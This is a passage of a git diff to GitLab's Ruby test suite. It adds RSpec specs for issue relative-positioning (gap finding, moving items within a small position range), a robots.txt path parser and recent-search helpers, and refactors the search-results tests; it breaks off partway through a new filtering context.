diff --git a/spec/lib/gitlab/relative_positioning/item_context_spec.rb b/spec/lib/gitlab/relative_positioning/item_context_spec.rb
new file mode 100644
index 00000000000..daea8d8470d
--- /dev/null
+++ b/spec/lib/gitlab/relative_positioning/item_context_spec.rb
@@ -0,0 +1,215 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::RelativePositioning::ItemContext do
+ let_it_be(:default_user) { create_default(:user) }
+ let_it_be(:project, reload: true) { create(:project) }
+
+ def create_issue(pos)
+ create(:issue, project: project, relative_position: pos)
+ end
+
+ range = (101..107) # A deliberately small range, so we can test everything
+ indices = (0..).take(range.size)
+
+ let(:start) { ((range.first + range.last) / 2.0).floor }
+ let(:subjects) { issues.map { |i| described_class.new(i.reset, range) } }
+
+ # This allows us to refer to range in methods and examples
+ let_it_be(:full_range) { range }
+
+ context 'there are gaps at the start and end' do
+ let_it_be(:issues) { (range.first.succ..range.last.pred).map { |pos| create_issue(pos) } }
+
+ it 'is always possible to find a gap' do
+ expect(subjects)
+ .to all(have_attributes(find_next_gap_before: be_present, find_next_gap_after: be_present))
+ end
+
+ where(:index) { indices.reverse.drop(2) }
+
+ with_them do
+ subject { subjects[index] }
+
+ let(:positions) { subject.scoped_items.map(&:relative_position) }
+
+ it 'is possible to shift_right, which will consume the gap at the end' do
+ subject.shift_right
+
+ expect(subject.find_next_gap_after).not_to be_present
+
+ expect(positions).to all(be_between(range.first, range.last))
+ expect(positions).to eq(positions.uniq)
+ end
+
+ it 'is possible to create_space_right, which will move the gap to immediately after' do
+ subject.create_space_right
+
+ expect(subject.find_next_gap_after).to have_attributes(start_pos: subject.relative_position)
+ expect(positions).to all(be_between(range.first, range.last))
+ expect(positions).to eq(positions.uniq)
+ end
+
+ it 'is possible to shift_left, which will consume the gap at the start' do
+ subject.shift_left
+
+ expect(subject.find_next_gap_before).not_to be_present
+ expect(positions).to all(be_between(range.first, range.last))
+ expect(positions).to eq(positions.uniq)
+ end
+
+ it 'is possible to create_space_left, which will move the gap to immediately before' do
+ subject.create_space_left
+
+ expect(subject.find_next_gap_before).to have_attributes(start_pos: subject.relative_position)
+ expect(positions).to all(be_between(range.first, range.last))
+ expect(positions).to eq(positions.uniq)
+ end
+ end
+ end
+
+ context 'there is a gap of multiple spaces' do
+ let_it_be(:issues) { [range.first, range.last].map { |pos| create_issue(pos) } }
+
+ it 'is impossible to move the last element to the right' do
+ expect { subjects.last.shift_right }.to raise_error(Gitlab::RelativePositioning::NoSpaceLeft)
+ end
+
+ it 'is impossible to move the first element to the left' do
+ expect { subjects.first.shift_left }.to raise_error(Gitlab::RelativePositioning::NoSpaceLeft)
+ end
+
+ it 'is possible to move the last element to the left' do
+ subject = subjects.last
+
+ expect { subject.shift_left }.to change { subject.relative_position }.by(be < 0)
+ end
+
+ it 'is possible to move the first element to the right' do
+ subject = subjects.first
+
+ expect { subject.shift_right }.to change { subject.relative_position }.by(be > 0)
+ end
+
+ it 'is possible to find the gap from the right' do
+ gap = Gitlab::RelativePositioning::Gap.new(range.last, range.first)
+
+ expect(subjects.last).to have_attributes(
+ find_next_gap_before: eq(gap),
+ find_next_gap_after: be_nil
+ )
+ end
+
+ it 'is possible to find the gap from the left' do
+ gap = Gitlab::RelativePositioning::Gap.new(range.first, range.last)
+
+ expect(subjects.first).to have_attributes(
+ find_next_gap_before: be_nil,
+ find_next_gap_after: eq(gap)
+ )
+ end
+ end
+
+ context 'there are several free spaces' do
+ let_it_be(:issues) { range.select(&:even?).map { |pos| create_issue(pos) } }
+ let_it_be(:gaps) do
+ range.select(&:odd?).map do |pos|
+ rhs = pos.succ.clamp(range.first, range.last)
+ lhs = pos.pred.clamp(range.first, range.last)
+
+ {
+ before: Gitlab::RelativePositioning::Gap.new(rhs, lhs),
+ after: Gitlab::RelativePositioning::Gap.new(lhs, rhs)
+ }
+ end
+ end
+
+ def issue_at(position)
+ issues.find { |i| i.relative_position == position }
+ end
+
+ where(:current_pos) { range.select(&:even?) }
+
+ with_them do
+ let(:subject) { subjects.find { |s| s.relative_position == current_pos } }
+ let(:siblings) { subjects.reject { |s| s.relative_position == current_pos } }
+
+ def covered_by_range(pos)
+ full_range.cover?(pos) ? pos : nil
+ end
+
+ it 'finds the closest gap' do
+ closest_gap_before = gaps
+ .map { |gap| gap[:before] }
+ .select { |gap| gap.start_pos <= subject.relative_position }
+ .max_by { |gap| gap.start_pos }
+ closest_gap_after = gaps
+ .map { |gap| gap[:after] }
+ .select { |gap| gap.start_pos >= subject.relative_position }
+ .min_by { |gap| gap.start_pos }
+
+ expect(subject).to have_attributes(
+ find_next_gap_before: closest_gap_before,
+ find_next_gap_after: closest_gap_after
+ )
+ end
+
+ it 'finds the neighbours' do
+ expect(subject).to have_attributes(
+ lhs_neighbour: subject.neighbour(issue_at(subject.relative_position - 2)),
+ rhs_neighbour: subject.neighbour(issue_at(subject.relative_position + 2))
+ )
+ end
+
+ it 'finds the next relative_positions' do
+ expect(subject).to have_attributes(
+ prev_relative_position: covered_by_range(subject.relative_position - 2),
+ next_relative_position: covered_by_range(subject.relative_position + 2)
+ )
+ end
+
+ it 'finds the min/max positions' do
+ expect(subject).to have_attributes(
+ min_relative_position: issues.first.relative_position,
+ max_relative_position: issues.last.relative_position
+ )
+ end
+
+ it 'finds the min/max siblings' do
+ expect(subject).to have_attributes(
+ min_sibling: siblings.first,
+ max_sibling: siblings.last
+ )
+ end
+ end
+ end
+
+ context 'there is at least one free space' do
+ where(:free_space) { range.to_a }
+
+ with_them do
+ let(:issues) { range.reject { |x| x == free_space }.map { |p| create_issue(p) } }
+ let(:gap_rhs) { free_space.succ.clamp(range.first, range.last) }
+ let(:gap_lhs) { free_space.pred.clamp(range.first, range.last) }
+
+ it 'can always find a gap before if there is space to the left' do
+ expected_gap = Gitlab::RelativePositioning::Gap.new(gap_rhs, gap_lhs)
+
+ to_the_right_of_gap = subjects.select { |s| free_space < s.relative_position }
+
+ expect(to_the_right_of_gap)
+ .to all(have_attributes(find_next_gap_before: eq(expected_gap), find_next_gap_after: be_nil))
+ end
+
+ it 'can always find a gap after if there is space to the right' do
+ expected_gap = Gitlab::RelativePositioning::Gap.new(gap_lhs, gap_rhs)
+
+ to_the_left_of_gap = subjects.select { |s| s.relative_position < free_space }
+
+ expect(to_the_left_of_gap)
+ .to all(have_attributes(find_next_gap_before: be_nil, find_next_gap_after: eq(expected_gap)))
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/relative_positioning/mover_spec.rb b/spec/lib/gitlab/relative_positioning/mover_spec.rb
new file mode 100644
index 00000000000..c49230c2415
--- /dev/null
+++ b/spec/lib/gitlab/relative_positioning/mover_spec.rb
@@ -0,0 +1,487 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe RelativePositioning::Mover do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:one_sibling, reload: true) { create(:project, creator: user, namespace: user.namespace) }
+ let_it_be(:one_free_space, reload: true) { create(:project, creator: user, namespace: user.namespace) }
+ let_it_be(:fully_occupied, reload: true) { create(:project, creator: user, namespace: user.namespace) }
+ let_it_be(:no_issues, reload: true) { create(:project, creator: user, namespace: user.namespace) }
+ let_it_be(:three_sibs, reload: true) { create(:project, creator: user, namespace: user.namespace) }
+
+ def create_issue(pos, parent = project)
+ create(:issue, author: user, project: parent, relative_position: pos)
+ end
+
+ range = (101..105)
+ indices = (0..).take(range.size)
+
+ let(:start) { ((range.first + range.last) / 2.0).floor }
+
+ subject { described_class.new(start, range) }
+
+ let_it_be(:full_set) do
+ range.each_with_index.map do |pos, i|
+ create(:issue, iid: i.succ, project: fully_occupied, relative_position: pos)
+ end
+ end
+
+ let_it_be(:sole_sibling) { create(:issue, iid: 1, project: one_sibling, relative_position: nil) }
+ let_it_be(:one_sibling_set) { [sole_sibling] }
+ let_it_be(:one_free_space_set) do
+ indices.drop(1).map { |iid| create(:issue, project: one_free_space, iid: iid.succ) }
+ end
+ let_it_be(:three_sibs_set) do
+ [1, 2, 3].map { |iid| create(:issue, iid: iid, project: three_sibs) }
+ end
+
+ def set_positions(positions)
+ vals = issues.zip(positions).map do |issue, pos|
+ issue.relative_position = pos
+ "(#{issue.id}, #{pos})"
+ end.join(', ')
+
+ Issue.connection.exec_query(<<~SQL, 'set-positions')
+ WITH cte(cte_id, new_pos) AS (
+ SELECT * FROM (VALUES #{vals}) as t (id, pos)
+ )
+ UPDATE issues SET relative_position = new_pos FROM cte WHERE id = cte_id
+ ;
+ SQL
+ end
+
+ def ids_in_position_order
+ project.issues.reorder(:relative_position).pluck(:id)
+ end
+
+ def relative_positions
+ project.issues.pluck(:relative_position)
+ end
+
+ describe '#move_to_end' do
+ def max_position
+ project.issues.maximum(:relative_position)
+ end
+
+ def move_to_end(issue)
+ subject.move_to_end(issue)
+ issue.save!
+ end
+
+ shared_examples 'able to place a new item at the end' do
+ it 'can place any new item' do
+ existing_issues = ids_in_position_order
+ new_item = create_issue(nil)
+
+ expect do
+ move_to_end(new_item)
+ end.to change { project.issues.pluck(:id, :relative_position) }
+
+ expect(new_item.relative_position).to eq(max_position)
+ expect(relative_positions).to all(be_between(range.first, range.last))
+ expect(ids_in_position_order).to eq(existing_issues + [new_item.id])
+ end
+ end
+
+ shared_examples 'able to move existing items to the end' do
+ it 'can move any existing item' do
+ issues = project.issues.reorder(:relative_position).to_a
+ issue = issues[index]
+ other_issues = issues.reject { |i| i == issue }
+ expect(relative_positions).to all(be_between(range.first, range.last))
+
+ if issues.last == issue
+ move_to_end(issue) # May not change the positions
+ else
+ expect do
+ move_to_end(issue)
+ end.to change { project.issues.pluck(:id, :relative_position) }
+ end
+
+ project.reset
+
+ expect(relative_positions).to all(be_between(range.first, range.last))
+ expect(issue.relative_position).to eq(max_position)
+ expect(ids_in_position_order).to eq(other_issues.map(&:id) + [issue.id])
+ end
+ end
+
+ context 'all positions are taken' do
+ let(:issues) { full_set }
+ let(:project) { fully_occupied }
+
+ it 'raises an error when placing a new item' do
+ new_item = create_issue(nil)
+
+ expect { subject.move_to_end(new_item) }.to raise_error(RelativePositioning::NoSpaceLeft)
+ end
+
+ where(:index) { indices }
+
+ with_them do
+ it_behaves_like 'able to move existing items to the end'
+ end
+ end
+
+ context 'there are no siblings' do
+ let(:issues) { [] }
+ let(:project) { no_issues }
+
+ it_behaves_like 'able to place a new item at the end'
+ end
+
+ context 'there is only one sibling' do
+ where(:pos) { range.to_a }
+
+ with_them do
+ let(:issues) { one_sibling_set }
+ let(:project) { one_sibling }
+ let(:index) { 0 }
+
+ before do
+ sole_sibling.reset.update!(relative_position: pos)
+ end
+
+ it_behaves_like 'able to place a new item at the end'
+
+ it_behaves_like 'able to move existing items to the end'
+ end
+ end
+
+ context 'at least one position is free' do
+ where(:free_space, :index) do
+ is = indices.take(range.size - 1)
+
+ range.to_a.product(is)
+ end
+
+ with_them do
+ let(:issues) { one_free_space_set }
+ let(:project) { one_free_space }
+
+ before do
+ positions = range.reject { |x| x == free_space }
+ set_positions(positions)
+ end
+
+ it_behaves_like 'able to place a new item at the end'
+
+ it_behaves_like 'able to move existing items to the end'
+ end
+ end
+ end
+
+ describe '#move_to_start' do
+ def min_position
+ project.issues.minimum(:relative_position)
+ end
+
+ def move_to_start(issue)
+ subject.move_to_start(issue)
+ issue.save!
+ end
+
+ shared_examples 'able to place a new item at the start' do
+ it 'can place any new item' do
+ existing_issues = ids_in_position_order
+ new_item = create_issue(nil)
+
+ expect do
+ move_to_start(new_item)
+ end.to change { project.issues.pluck(:id, :relative_position) }
+
+ expect(relative_positions).to all(be_between(range.first, range.last))
+ expect(new_item.relative_position).to eq(min_position)
+ expect(ids_in_position_order).to eq([new_item.id] + existing_issues)
+ end
+ end
+
+ shared_examples 'able to move existing items to the start' do
+ it 'can move any existing item' do
+ issues = project.issues.reorder(:relative_position).to_a
+ issue = issues[index]
+ other_issues = issues.reject { |i| i == issue }
+ expect(relative_positions).to all(be_between(range.first, range.last))
+
+ if issues.first == issue
+ move_to_start(issue) # May not change the positions
+ else
+ expect do
+ move_to_start(issue)
+ end.to change { project.issues.pluck(:id, :relative_position) }
+ end
+
+ project.reset
+
+ expect(relative_positions).to all(be_between(range.first, range.last))
+ expect(issue.relative_position).to eq(min_position)
+ expect(ids_in_position_order).to eq([issue.id] + other_issues.map(&:id))
+ end
+ end
+
+ context 'all positions are taken' do
+ let(:issues) { full_set }
+ let(:project) { fully_occupied }
+
+ it 'raises an error when placing a new item' do
+ new_item = create(:issue, project: project, relative_position: nil)
+
+ expect { subject.move_to_start(new_item) }.to raise_error(RelativePositioning::NoSpaceLeft)
+ end
+
+ where(:index) { indices }
+
+ with_them do
+ it_behaves_like 'able to move existing items to the start'
+ end
+ end
+
+ context 'there are no siblings' do
+ let(:project) { no_issues }
+ let(:issues) { [] }
+
+ it_behaves_like 'able to place a new item at the start'
+ end
+
+ context 'there is only one sibling' do
+ where(:pos) { range.to_a }
+
+ with_them do
+ let(:issues) { one_sibling_set }
+ let(:project) { one_sibling }
+ let(:index) { 0 }
+
+ before do
+ sole_sibling.reset.update!(relative_position: pos)
+ end
+
+ it_behaves_like 'able to place a new item at the start'
+
+ it_behaves_like 'able to move existing items to the start'
+ end
+ end
+
+ context 'at least one position is free' do
+ where(:free_space, :index) do
+ range.to_a.product((0..).take(range.size - 1).to_a)
+ end
+
+ with_them do
+ let(:issues) { one_free_space_set }
+ let(:project) { one_free_space }
+
+ before do
+ set_positions(range.reject { |x| x == free_space })
+ end
+
+ it_behaves_like 'able to place a new item at the start'
+
+ it_behaves_like 'able to move existing items to the start'
+ end
+ end
+ end
+
+ describe '#move' do
+ shared_examples 'able to move a new item' do
+ let(:other_issues) { project.issues.reorder(relative_position: :asc).to_a }
+ let!(:previous_order) { other_issues.map(&:id) }
+
+ it 'can place any new item betwen two others' do
+ new_item = create_issue(nil)
+
+ subject.move(new_item, lhs, rhs)
+ new_item.save!
+ lhs.reset
+ rhs.reset
+
+ expect(new_item.relative_position).to be_between(range.first, range.last)
+ expect(new_item.relative_position).to be_between(lhs.relative_position, rhs.relative_position)
+
+ ids = project.issues.reorder(:relative_position).pluck(:id).reject { |id| id == new_item.id }
+ expect(ids).to eq(previous_order)
+ end
+
+ it 'can place any new item after another' do
+ new_item = create_issue(nil)
+
+ subject.move(new_item, lhs, nil)
+ new_item.save!
+ lhs.reset
+
+ expect(new_item.relative_position).to be_between(range.first, range.last)
+ expect(new_item.relative_position).to be > lhs.relative_position
+
+ ids = project.issues.reorder(:relative_position).pluck(:id).reject { |id| id == new_item.id }
+ expect(ids).to eq(previous_order)
+ end
+
+ it 'can place any new item before another' do
+ new_item = create_issue(nil)
+
+ subject.move(new_item, nil, rhs)
+ new_item.save!
+ rhs.reset
+
+ expect(new_item.relative_position).to be_between(range.first, range.last)
+ expect(new_item.relative_position).to be < rhs.relative_position
+
+ ids = project.issues.reorder(:relative_position).pluck(:id).reject { |id| id == new_item.id }
+ expect(ids).to eq(previous_order)
+ end
+ end
+
+ shared_examples 'able to move an existing item' do
+ let(:all_issues) { project.issues.reorder(:relative_position).to_a }
+ let(:item) { all_issues[index] }
+ let(:positions) { project.reset.issues.pluck(:relative_position) }
+ let(:other_issues) { all_issues.reject { |i| i == item } }
+ let!(:previous_order) { other_issues.map(&:id) }
+ let(:new_order) do
+ project.issues.where.not(id: item.id).reorder(:relative_position).pluck(:id)
+ end
+
+ it 'can place any item betwen two others' do
+ subject.move(item, lhs, rhs)
+ item.save!
+ lhs.reset
+ rhs.reset
+
+ expect(positions).to all(be_between(range.first, range.last))
+ expect(positions).to match_array(positions.uniq)
+ expect(item.relative_position).to be_between(lhs.relative_position, rhs.relative_position)
+
+ expect(new_order).to eq(previous_order)
+ end
+
+ def sequence(expected_sequence)
+ range = (expected_sequence.first.relative_position..expected_sequence.last.relative_position)
+
+ project.issues.reorder(:relative_position).where(relative_position: range)
+ end
+
+ it 'can place any item after another' do
+ subject.move(item, lhs, nil)
+ item.save!
+ lhs.reset
+
+ expect(positions).to all(be_between(range.first, range.last))
+ expect(positions).to match_array(positions.uniq)
+ expect(item.relative_position).to be >= lhs.relative_position
+
+ expected_sequence = [lhs, item].uniq
+
+ expect(sequence(expected_sequence)).to eq(expected_sequence)
+
+ expect(new_order).to eq(previous_order)
+ end
+
+ it 'can place any item before another' do
+ subject.move(item, nil, rhs)
+ item.save!
+ rhs.reset
+
+ expect(positions).to all(be_between(range.first, range.last))
+ expect(positions).to match_array(positions.uniq)
+ expect(item.relative_position).to be <= rhs.relative_position
+
+ expected_sequence = [item, rhs].uniq
+
+ expect(sequence(expected_sequence)).to eq(expected_sequence)
+
+ expect(new_order).to eq(previous_order)
+ end
+ end
+
+ context 'all positions are taken' do
+ let(:issues) { full_set }
+ let(:project) { fully_occupied }
+
+ where(:idx_a, :idx_b) do
+ indices.product(indices).select { |a, b| a < b }
+ end
+
+ with_them do
+ let(:lhs) { issues[idx_a].reset }
+ let(:rhs) { issues[idx_b].reset }
+
+ it 'raises an error when placing a new item anywhere' do
+ new_item = create_issue(nil)
+
+ expect { subject.move(new_item, lhs, rhs) }
+ .to raise_error(Gitlab::RelativePositioning::NoSpaceLeft)
+
+ expect { subject.move(new_item, nil, rhs) }
+ .to raise_error(Gitlab::RelativePositioning::NoSpaceLeft)
+
+ expect { subject.move(new_item, lhs, nil) }
+ .to raise_error(Gitlab::RelativePositioning::NoSpaceLeft)
+ end
+
+ where(:index) { indices }
+
+ with_them do
+ it_behaves_like 'able to move an existing item'
+ end
+ end
+ end
+
+ context 'there are no siblings' do
+ let(:project) { no_issues }
+
+ it 'raises an ArgumentError when both first and last are nil' do
+ new_item = create_issue(nil)
+
+ expect { subject.move(new_item, nil, nil) }.to raise_error(ArgumentError)
+ end
+ end
+
+ context 'there are a couple of siblings' do
+ where(:pos_movable, :pos_a, :pos_b) do
+ xs = range.to_a
+
+ xs.product(xs).product(xs).map(&:flatten)
+ .select { |vals| vals == vals.uniq && vals[1] < vals[2] }
+ end
+
+ with_them do
+ let(:issues) { three_sibs_set }
+ let(:project) { three_sibs }
+ let(:index) { 0 }
+ let(:lhs) { issues[1] }
+ let(:rhs) { issues[2] }
+
+ before do
+ set_positions([pos_movable, pos_a, pos_b])
+ end
+
+ it_behaves_like 'able to move a new item'
+ it_behaves_like 'able to move an existing item'
+ end
+ end
+
+ context 'at least one position is free' do
+ where(:free_space, :index, :pos_a, :pos_b) do
+ is = indices.reverse.drop(1)
+
+ range.to_a.product(is).product(is).product(is)
+ .map(&:flatten)
+ .select { |_, _, a, b| a < b }
+ end
+
+ with_them do
+ let(:issues) { one_free_space_set }
+ let(:project) { one_free_space }
+ let(:lhs) { issues[pos_a] }
+ let(:rhs) { issues[pos_b] }
+
+ before do
+ set_positions(range.reject { |x| x == free_space })
+ end
+
+ it_behaves_like 'able to move a new item'
+ it_behaves_like 'able to move an existing item'
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/relative_positioning/range_spec.rb b/spec/lib/gitlab/relative_positioning/range_spec.rb
new file mode 100644
index 00000000000..c3386336493
--- /dev/null
+++ b/spec/lib/gitlab/relative_positioning/range_spec.rb
@@ -0,0 +1,162 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::RelativePositioning::Range do
+ item_a = OpenStruct.new(relative_position: 100, object: :x, positioned?: true)
+ item_b = OpenStruct.new(relative_position: 200, object: :y, positioned?: true)
+
+ before do
+ allow(item_a).to receive(:lhs_neighbour) { nil }
+ allow(item_a).to receive(:rhs_neighbour) { item_b }
+
+ allow(item_b).to receive(:lhs_neighbour) { item_a }
+ allow(item_b).to receive(:rhs_neighbour) { nil }
+ end
+
+ describe 'RelativePositioning.range' do
+ it 'raises if lhs and rhs are nil' do
+ expect { Gitlab::RelativePositioning.range(nil, nil) }.to raise_error(ArgumentError)
+ end
+
+ it 'raises an error if there is no extent' do
+ expect { Gitlab::RelativePositioning.range(item_a, item_a) }.to raise_error(ArgumentError)
+ end
+
+ it 'constructs a closed range when both termini are provided' do
+ range = Gitlab::RelativePositioning.range(item_a, item_b)
+ expect(range).to be_a_kind_of(Gitlab::RelativePositioning::Range)
+ expect(range).to be_a_kind_of(Gitlab::RelativePositioning::ClosedRange)
+ end
+
+ it 'constructs a starting-from range when only the LHS is provided' do
+ range = Gitlab::RelativePositioning.range(item_a, nil)
+ expect(range).to be_a_kind_of(Gitlab::RelativePositioning::Range)
+ expect(range).to be_a_kind_of(Gitlab::RelativePositioning::StartingFrom)
+ end
+
+ it 'constructs an ending-at range when only the RHS is provided' do
+ range = Gitlab::RelativePositioning.range(nil, item_b)
+ expect(range).to be_a_kind_of(Gitlab::RelativePositioning::Range)
+ expect(range).to be_a_kind_of(Gitlab::RelativePositioning::EndingAt)
+ end
+ end
+
+ it 'infers neighbours correctly' do
+ starting_at_a = Gitlab::RelativePositioning.range(item_a, nil)
+ ending_at_b = Gitlab::RelativePositioning.range(nil, item_b)
+
+ expect(starting_at_a).to eq(ending_at_b)
+ end
+
+ describe '#open_on_left?' do
+ where(:lhs, :rhs, :expected_result) do
+ [
+ [item_a, item_b, false],
+ [item_a, nil, false],
+ [nil, item_b, false],
+ [item_b, nil, false],
+ [nil, item_a, true]
+ ]
+ end
+
+ with_them do
+ it 'is true if there is no LHS terminus' do
+ range = Gitlab::RelativePositioning.range(lhs, rhs)
+
+ expect(range.open_on_left?).to be(expected_result)
+ end
+ end
+ end
+
+ describe '#open_on_right?' do
+ where(:lhs, :rhs, :expected_result) do
+ [
+ [item_a, item_b, false],
+ [item_a, nil, false],
+ [nil, item_b, false],
+ [item_b, nil, true],
+ [nil, item_a, false]
+ ]
+ end
+
+ with_them do
+ it 'is true if there is no RHS terminus' do
+ range = Gitlab::RelativePositioning.range(lhs, rhs)
+
+ expect(range.open_on_right?).to be(expected_result)
+ end
+ end
+ end
+
+ describe '#cover?' do
+ item_c = OpenStruct.new(relative_position: 150, object: :z, positioned?: true)
+ item_d = OpenStruct.new(relative_position: 050, object: :w, positioned?: true)
+ item_e = OpenStruct.new(relative_position: 250, object: :r, positioned?: true)
+ item_f = OpenStruct.new(positioned?: false)
+ item_ax = OpenStruct.new(relative_position: 100, object: :not_x, positioned?: true)
+ item_bx = OpenStruct.new(relative_position: 200, object: :not_y, positioned?: true)
+
+ where(:lhs, :rhs, :item, :expected_result) do
+ [
+ [item_a, item_b, item_a, true],
+ [item_a, item_b, item_b, true],
+ [item_a, item_b, item_c, true],
+ [item_a, item_b, item_d, false],
+ [item_a, item_b, item_e, false],
+ [item_a, item_b, item_ax, false],
+ [item_a, item_b, item_bx, false],
+ [item_a, item_b, item_f, false],
+ [item_a, item_b, nil, false],
+
+ [nil, item_b, item_a, true],
+ [nil, item_b, item_b, true],
+ [nil, item_b, item_c, true],
+ [nil, item_b, item_d, false],
+ [nil, item_b, item_e, false],
+ [nil, item_b, item_ax, false],
+ [nil, item_b, item_bx, false],
+ [nil, item_b, item_f, false],
+ [nil, item_b, nil, false],
+
+ [item_a, nil, item_a, true],
+ [item_a, nil, item_b, true],
+ [item_a, nil, item_c, true],
+ [item_a, nil, item_d, false],
+ [item_a, nil, item_e, false],
+ [item_a, nil, item_ax, false],
+ [item_a, nil, item_bx, false],
+ [item_a, nil, item_f, false],
+ [item_a, nil, nil, false],
+
+ [nil, item_a, item_a, true],
+ [nil, item_a, item_b, false],
+ [nil, item_a, item_c, false],
+ [nil, item_a, item_d, true],
+ [nil, item_a, item_e, false],
+ [nil, item_a, item_ax, false],
+ [nil, item_a, item_bx, false],
+ [nil, item_a, item_f, false],
+ [nil, item_a, nil, false],
+
+ [item_b, nil, item_a, false],
+ [item_b, nil, item_b, true],
+ [item_b, nil, item_c, false],
+ [item_b, nil, item_d, false],
+ [item_b, nil, item_e, true],
+ [item_b, nil, item_ax, false],
+ [item_b, nil, item_bx, false],
+ [item_b, nil, item_f, false],
+ [item_b, nil, nil, false]
+ ]
+ end
+
+ with_them do
+ it 'is true when the object is within the bounds of the range' do
+ range = Gitlab::RelativePositioning.range(lhs, rhs)
+
+ expect(range.cover?(item)).to be(expected_result)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/repository_cache_adapter_spec.rb b/spec/lib/gitlab/repository_cache_adapter_spec.rb
index c9ad79234d3..4c57665b41f 100644
--- a/spec/lib/gitlab/repository_cache_adapter_spec.rb
+++ b/spec/lib/gitlab/repository_cache_adapter_spec.rb
@@ -302,7 +302,7 @@ RSpec.describe Gitlab::RepositoryCacheAdapter do
it 'does not expire caches for non-existent methods' do
expect(cache).not_to receive(:expire).with(:nonexistent)
- expect(Rails.logger).to(
+ expect(Gitlab::AppLogger).to(
receive(:error).with("Requested to expire non-existent method 'nonexistent' for Repository"))
repository.expire_method_caches(%i(nonexistent))
diff --git a/spec/lib/gitlab/robots_txt/parser_spec.rb b/spec/lib/gitlab/robots_txt/parser_spec.rb
new file mode 100644
index 00000000000..bb88003ce20
--- /dev/null
+++ b/spec/lib/gitlab/robots_txt/parser_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rspec-parameterized'
+
+RSpec.describe Gitlab::RobotsTxt::Parser do
+ describe '#disallowed?' do
+ subject { described_class.new(content).disallowed?(path) }
+
+ context 'a simple robots.txt file' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:content) do
+ <<~TXT
+ User-Agent: *
+ Disallow: /autocomplete/users
+ Disallow: /search
+ Disallow: /api
+ TXT
+ end
+
+ where(:path, :result) do
+ '/autocomplete/users' | true
+ '/autocomplete/users/a.html' | true
+ '/search' | true
+ '/search.html' | true
+ '/api' | true
+ '/api/grapql' | true
+ '/api/index.html' | true
+ '/projects' | false
+ end
+
+ with_them do
+ it { is_expected.to eq(result), "#{path} expected to be #{result}" }
+ end
+ end
+
+ context 'robots.txt file with wildcard' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:content) do
+ <<~TXT
+ User-Agent: *
+ Disallow: /search
+
+ User-Agent: *
+ Disallow: /*/*.git
+ Disallow: /*/archive/
+ Disallow: /*/repository/archive*
+ TXT
+ end
+
+ where(:path, :result) do
+ '/search' | true
+ '/namespace/project.git' | true
+ '/project/archive/' | true
+ '/project/archive/file.gz' | true
+ '/project/repository/archive' | true
+ '/project/repository/archive.gz' | true
+ '/project/repository/archive/file.gz' | true
+ '/projects' | false
+ '/git' | false
+ '/projects/git' | false
+ end
+
+ with_them do
+ it { is_expected.to eq(result), "#{path} expected to be #{result}" }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/search/recent_issues_spec.rb b/spec/lib/gitlab/search/recent_issues_spec.rb
new file mode 100644
index 00000000000..19a41d2aa38
--- /dev/null
+++ b/spec/lib/gitlab/search/recent_issues_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Gitlab::Search::RecentIssues do
+ def create_item(content:, project:)
+ create(:issue, title: content, project: project)
+ end
+
+ it_behaves_like 'search recent items'
+end
diff --git a/spec/lib/gitlab/search/recent_merge_requests_spec.rb b/spec/lib/gitlab/search/recent_merge_requests_spec.rb
new file mode 100644
index 00000000000..c6678ce0342
--- /dev/null
+++ b/spec/lib/gitlab/search/recent_merge_requests_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Gitlab::Search::RecentMergeRequests do
+ def create_item(content:, project:)
+ create(:merge_request, :unique_branches, title: content, target_project: project, source_project: project)
+ end
+
+ it_behaves_like 'search recent items'
+end
diff --git a/spec/lib/gitlab/search_results_spec.rb b/spec/lib/gitlab/search_results_spec.rb
index 61fa61566cd..b4cf6a568b4 100644
--- a/spec/lib/gitlab/search_results_spec.rb
+++ b/spec/lib/gitlab/search_results_spec.rb
@@ -6,16 +6,14 @@ RSpec.describe Gitlab::SearchResults do
include ProjectForksHelper
include SearchHelpers
- let(:user) { create(:user) }
- let!(:project) { create(:project, name: 'foo') }
- let!(:issue) { create(:issue, project: project, title: 'foo') }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, name: 'foo') }
+ let_it_be(:issue) { create(:issue, project: project, title: 'foo') }
+ let_it_be(:milestone) { create(:milestone, project: project, title: 'foo') }
+ let(:merge_request) { create(:merge_request, source_project: project, title: 'foo') }
+ let(:filters) { {} }
- let!(:merge_request) do
- create(:merge_request, source_project: project, title: 'foo')
- end
-
- let!(:milestone) { create(:milestone, project: project, title: 'foo') }
- let(:results) { described_class.new(user, Project.all, 'foo') }
+ subject(:results) { described_class.new(user, 'foo', Project.order(:id), filters: filters) }
context 'as a user with access' do
before do
@@ -108,10 +106,10 @@ RSpec.describe Gitlab::SearchResults do
describe '#limited_issues_count' do
it 'runs single SQL query to get the limited amount of issues' do
- create(:milestone, project: project, title: 'foo2')
+ create(:issue, project: project, title: 'foo2')
expect(results).to receive(:issues).with(public_only: true).and_call_original
- expect(results).not_to receive(:issues).with(no_args).and_call_original
+ expect(results).not_to receive(:issues).with(no_args)
expect(results.limited_issues_count).to eq(1)
end
@@ -133,7 +131,7 @@ RSpec.describe Gitlab::SearchResults do
forked_project = fork_project(project, user)
merge_request_2 = create(:merge_request, target_project: project, source_project: forked_project, title: 'foo')
- results = described_class.new(user, Project.where(id: forked_project.id), 'foo')
+ results = described_class.new(user, 'foo', Project.where(id: forked_project.id))
expect(results.objects('merge_requests')).to include merge_request_2
end
@@ -152,6 +150,15 @@ RSpec.describe Gitlab::SearchResults do
results.objects('merge_requests')
end
+
+ context 'filtering' do
+ let!(:opened_result) { create(:merge_request, :opened, source_project: project, title: 'foo opened') }
